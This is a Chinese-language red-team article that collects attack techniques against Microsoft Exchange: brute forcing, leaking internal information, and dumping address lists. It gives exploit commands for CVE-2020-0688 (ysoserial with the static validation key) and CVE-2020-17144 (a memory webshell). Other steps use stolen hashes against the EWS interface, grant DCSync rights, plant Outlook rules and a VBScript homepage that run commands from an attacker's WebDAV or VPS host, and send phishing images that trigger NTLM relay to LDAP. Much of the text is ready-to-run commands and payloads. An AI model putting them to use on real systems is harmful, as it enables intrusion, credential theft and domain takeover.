作者:daiker@360Linton-Lab
0x00 前言
在滲透測試過程中,Exchange是一個比較奇妙的角色.
一方面,Exchange在外網分布很廣,是外網打點人員進入內網的一個重要渠道.

另外一方面,Exchange在域內有著重要的地位,一般來說,拿到Exchange服務器的權限,基本等同于拿到域管的權限.因此他又是內網選手重點關注對象.
本文將總結部分Exchange已知的特性以及漏洞.
沒有Exchange憑據的情況,主要有
- 爆破
- 泄露內網信息
- 配合釣魚進行NTLM_Relay
有Exchange憑據的情況下,主要有
- 導出郵箱列表
- Exchange RCE漏洞
- Exchange SSRF 進行NTLM_Relay
- 使用hash/密碼 操作EWS接口
- 攻擊outlook客戶端
- 從Exchange到域管
以下詳細說明
0x01 爆破
在外網,看到開著Exchange,出現如下界面,我們可能第一反應就是爆破.

出現上面那種還好,burp攔截下,爆破開始
但是在滲透過程中,經常出現以下這種情況

對于這種情況,我們無需繞過驗證碼即可進行爆破.
事實上,除了上面那個界面之外,以下接口都可進行爆破,而且支持Basic認證方式.
/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync
這里推薦使用https://github.com/grayddq/EBurst這款工具,他能尋找可以爆破的接口,從而進行爆破
Python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
有個需要注意的點就是這款工具不支持自簽名證書,我們手動改下,忽略證書錯誤就行

0x02 泄露內網信息
1. 泄露Exchange服務器內網IP 地址
把HTTP協議版本修改成1.0,然后去掉http頭里面的HOST參數 或者使用msf auxiliary/scanner/http/owa_iis_internal_ip


可用以匹配的接口列表有
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
有兩個坑點
- 如果測試的是文件夾,后面沒加/,比如/owa,有些環境會重定向到/owa/,可能導致無法獲取到IP

- msf的腳本里面限定了內網IP范圍,如果企業是自定義的內網IP,可能無法獲取到IP(代碼)

2. 泄露Exchange服務器操作系統,主機名,NetbIOS名
由于支持ntlm認證,在文章利用ntlm進行的信息收集里面已經講過
在type2返回Challenge的過程中,同時返回了操作系統類型,主機名,netbios名等等。這也就意味著如果我們給服務器發送一個type1的請求,服務器返回type2的響應,這一步,我們就可以得到很多信息。
因此我們可以獲取很多信息了,這里使用nmap進行掃描
sudo nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll

0x03 導出郵箱列表
1. 使用ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密碼 --verbose --debug abk dump -o list.txt
2. 使用MailSniper.ps1
https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1
Get-GlobalAddressList -ExchHostname MAIL -UserName CORPdaiker -Password 密碼 -OutFile global-address-list.txt
3. 使用burp
登錄exchange owa,右上角點擊人員,左側所有人員,抓包
一個POST類型的包
POST /owa/service.svc?action=FindPeople&ID=-34&AC=1
Body中有這個字段

默認是80
然后查看響應包,拉到最后

這個是總的郵箱數
然后把80 改成這個數,直接發,就是郵箱數,但是有點多,burp容易卡死。可以這樣
右鍵copy as request(這一步需要裝插件)
然后復制到python文件里面
后面的內容改下
本來最后一行是
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
改成
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
j = r.json()
results = j.get('Body').get('ResultSet')
import json
print(json.dumps(results))
然后運行python
python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|
這樣就提取出所有的郵箱
4. 使用impacket底下的exchanger.py
今年5月份剛更新的一個腳本
python exchanger.py DOMAIN/daiker:密碼@MAIL nspi list-tables

python exchanger.py DOMAIN/daiker:密碼@MAIL nspi dump-tables -guid xxxx

5. 通過OAB
(1) 讀取Autodiscover配置信息,獲取OABUrl
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: MAIL
Accept-Encoding: gzip, deflate
Accept: */*
Authorization: Basic YmllamllbGU=
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 355
<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request><EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request></Autodiscover>

(2) 讀取OAB文件列表
OABUrl/oab.xml

(3) 下載lzx文件
OABUrl/xx.lzx

(4) 對lzx文件解碼,還原出Default Global Address List
Kali下直接使用的版本下載地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.linux-x86_64.gcc-4.4.4/bin/oabextract
./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oab
strings gal.oab|grep SMTP

0x04 RCE 漏洞
網上一搜Exchange的RCE漏洞還挺多的,但是在實際滲透中,只需要一個普通用戶憑據,不需要其他條件的,主要有CVE-2020-0688和CVE-2020-17144
CVE-2020-0688
在拿到一個普通用戶憑據情況下的RCE,Exchange2010沒有開箱即用的POC
靜態的密鑰有
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
我們要構造ViewState還需要viewstateuserkey和__VIEWSTATEGENERATOR
viewstateuserkey就是用戶的ASP.NET_SessionId,在cookie 底下

__VIEWSTATEGENERATOR是一個隱藏字段。可以這樣獲取
document.getElementById("__VIEWSTATEGENERATOR").value

現在我們已經有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR。就可以用使用YSoSerial.net生成序列化后的惡意的ViewState數據。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping DNSlog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{填入__VIEWSTATEGENERATOR}" --viewstateuserkey="{填入viewstateuserkey,也就是ASP.NET_SessionId}" --isdebug –islegacy

然后構造URL
/ecp/default.aspx?__VIEWSTATEGENERATOR={填入__VIEWSTATEGENERATOR}&__VIEWSTATE={填入YSoSerial.net生成的urlencode 過的ViewState}
瀏覽器訪問就行


也可以直接使用頭像哥的工具
檢測
ExchangeDetect <target> <user> <pass>
利用
ExchangeCmd <target> <user> <pass>
sub commands:
exec <cmd> [args]
exec command
arch
get remote process architecture(for shellcode)
shellcode <shellcode.bin>
run shellcode
exit
exit program
他的檢測邏輯是在返回的頭部加個信息
Headers["X-ZCG-TEST"]=="CVE-2020-0688"
不排除某些網絡設備會檢測這個,可根據需求自行修改
另外有個需要注意的點,如果在域內,<target>填郵箱域名(mail.xxx.com)檢測不出來,可以先通過LDAP查詢每臺Exchange服務器,然后一臺臺試試,說不定有收獲.
另外一個需要注意的點,執行命令的時候最好帶上cmd /c
CVE-2020-17144
需要普通用戶憑據的情況下的RCE,就Exchange2010能用
https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-17144 <target> <user> <pass>
執行完之后會有個內存馬,訪問
http://[target]/ews/soap/?pass=命令

頭像哥的這個工具有個地方需要注意的是,他默認監聽的是80端口的,咱們訪問EWS接口一般用443,就以為沒打成功,實際成功了.

0x05 hash/密碼 操作ews接口
可以使用現成工具
1. pth_to_ews
https://github.com/pentest-tools-public/Pass-to-hash-EWS
保存在目錄下的inbox文件夾中為eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -MType Inbox
發送郵件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Sendmail -T "123" -TM [email protected] -B HTML.txt
搜索郵件內容含有ACL的郵件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -MType SentItems -Filterstring "ACL" 搜索ACL
如果有自己研發的需求,見3好學生的Exchange Web Service(EWS)開發指南
0x06 Exchange 在域內的位置
1. 域內定位Exchange服務器
在域內可以使用ldap定位,過濾規則
"(objectCategory=msExchExchangeServer)"
可以通過spn 來定位
setspn -Q IMAP/*
2. Exchange內部的域管憑據
拿到Exchange服務器,有很大概率就是域管直接登錄的.或者域管曾經登錄過.拿到Exchange服務器權限的時候,可以嘗試直接dir下域控的C盤,看有沒有權限.如果沒有權限,再嘗試使用mimikatz抓一波密碼,很大概率可以直接抓到域管或者高權限用戶.而且就算是高版本的server,在Exchange上也能抓到明文密碼.
3. Exchange的ACL
所有的Exchange Server 都在Exchange Windows Permissions組里面,而這個組默認就對域有WriteACL權限,那么當我們拿下Exchange服務器的時候,就可以嘗試使用WriteACL賦予自身Dcsync的權限.
使用powerview,為當前exchange機器名用戶增加dcsync權限(此處需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"
由于這個權限,Exchange 的RCE常用以在內網滲透中用來提升到域管權限.
因此在CVE-2019-1040中,除了可以攻擊DC,也有人選擇攻擊Exchange.
0x07 攻擊 OutLook客戶端
前提條件:
- 需要用戶憑據
- 該用戶電腦裝了Oulook客戶端,用outlook查看郵件的時候觸發.
攻擊效果
通過Outlook客戶端控制用戶電腦
有三種方式 Form,ruler,HomePage.
1. Form
Ruler
form
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密碼 --verbose --debug form display
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密碼 --verbose --debug form add --suffix superduper --input C:UserstomDesktopoutputcommand.txt --rule --send
command.txt 里面的內容是
CreateObject("Wscript.Shell").Run "calc.exe", 0, False
觸發
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密碼 --verbose --debug form send --target [email protected] --suffix superduper --subject "Hi Koos" --body "Hi Koos,nJust checking in."
刪除
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密碼 --verbose --debug form delete --suffix superduper
KB4011091 于 2017年9月的更新中修復
2. Ruler
查看規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug display
增加規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug add —location “\VPSwebdavshell.bat” —trigger “popashell” —name maliciousrule
觸發規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug send —subject popashell —body “this is a test by daiker”
刪除規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug delete —id 020000006cfcd8d7
webdav可以這樣開
pip install WsgiDAV cheroot
wsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/
沒有CVE編號,但是有些版本Outlook沒測試成功,可以看下這篇文章Outlook 2016 rules start application option gone
3. HomePage
1.Ruler
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug homepage display
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug homepage add —url http://x
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密碼 —verbose —debug homepage delete
2.pth_to_ews.exe
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Purl http://VPS:9090/aa.html -Type Set
HomePage 的內容是
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("calc")
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>
這個是彈計算器的 自行修改,
在2017 年 11 月安全更新修復,CVE-2017-11774
修復后 Homepage 默認關閉,重新啟用:
[HKEY_CURRENT_USERSoftwareMicrosoftoffice16.0OutlookSecurity] "EnableRoamingFolderHomepages"=dword:00000001
[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftOffice16.0OutlookSecurity] DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable.
0x08 NTLM_Relay
在之前的系列文章里面曾經說過ntlm_relay,ntlm_relay在Exchange上的應用也很廣泛.
主要有以下幾種攻擊場景
1. 普通用戶relay 到ews接口
由于EWS接口也支持NTLM SSP的。我們可以relay到EWS接口,從而收發郵件,代理等等。在使用outlook的情況下還可以通過homepage或者下發規則達到命令執行的效果。而且這種Relay還有一種好處,將Exchange開放在外網的公司并不在少數,我們可以在外網發起relay,而不需要在內網.
而outlook有個設計缺陷(具體版本稍不清楚),又可以導致我們給魚兒發一封郵箱,對方只需查看郵件,無需預覽,就可以拿到魚兒的ntlm請求.
我們給魚兒發一封郵件,使用HTML,在里面插入以下語句
<img src="http://redteamw/">
<img src="\IP">
這里支持兩種協議,這里說下兩個的區別
- UNCUNC默認攜帶憑據,但是如果IP 是公網IP的話,很多公司是訪問不到公網445的
- HTTP協議默認不攜帶憑據,只有信任域(域內DNS記錄)才會攜帶憑據.域內的成員默認有增加DNS的權限,可以用域內成員的權限在內網增加一條DNS記錄.
給魚兒發送郵箱

當魚兒用outlook打開的時候就會觸發請求,我們再將請求relay到EWS接口

relay到EWS接口查看郵件


relay到EWS接口通過HomePage控制Outlook客戶端

2. Exchange中的SSRF
在常規滲透中,SSRF常用以對內網的應用進行嗅探,配合內網某些未授權訪問的應用來擴大攻擊面.由于Exchange的SSRF默認攜帶憑據,在Relay的場景中,攻擊利用面被不斷放大,網上公開的一個SSRF就是CVE-2018-8581.
主要有兩種應用,relay到EWS接口,relay到LDAP
(1) relay到EWS接口
由于Exchange 是以System用戶的權限運行,因此我們拿到的是機器用戶的Net-Ntlm Hash。并不能直接用以登錄。但是Exchange 機器用戶可以獲得TokenSerializationRight的”特權”會話,可以Relay 到 機子本身的Ews接口,然后可以使用SOAP請求頭來冒充任何用戶。

具體利用請見Wyatu師傅的https://github.com/WyAtu/CVE-2018-8581
(2) relay到LDAP
所有的Exchange Server 都在Exchange Windows Permissions組里面,而這個組默認就對域有WriteACL權限.因此我們可以relay到LDAP,而又由于Relay到的服務端是Ldap,Ldap服務器的默認策略是協商簽名。而不是強制簽名。是否簽名由客戶端決定。在SSRF里面發起的請求是http協議,http協議是不要求進行簽名.
這里面
攻擊者:172.16.228.1
Exchange:172.16.228.133
域控:172.16.228.135
- 使用impacket監聽端口等待連接

- 發起推送訂閱指定所需的URL,Exchange. 服務器將嘗試向這個URL發送通知

- Relay 到域控的Ldap 服務器并給普通用戶daiker添加兩條acl


- daiker進行Dcync

0x09 引用
- 滲透技巧——獲得Exchange GlobalAddressList的方法
- Owa-Outlook備忘錄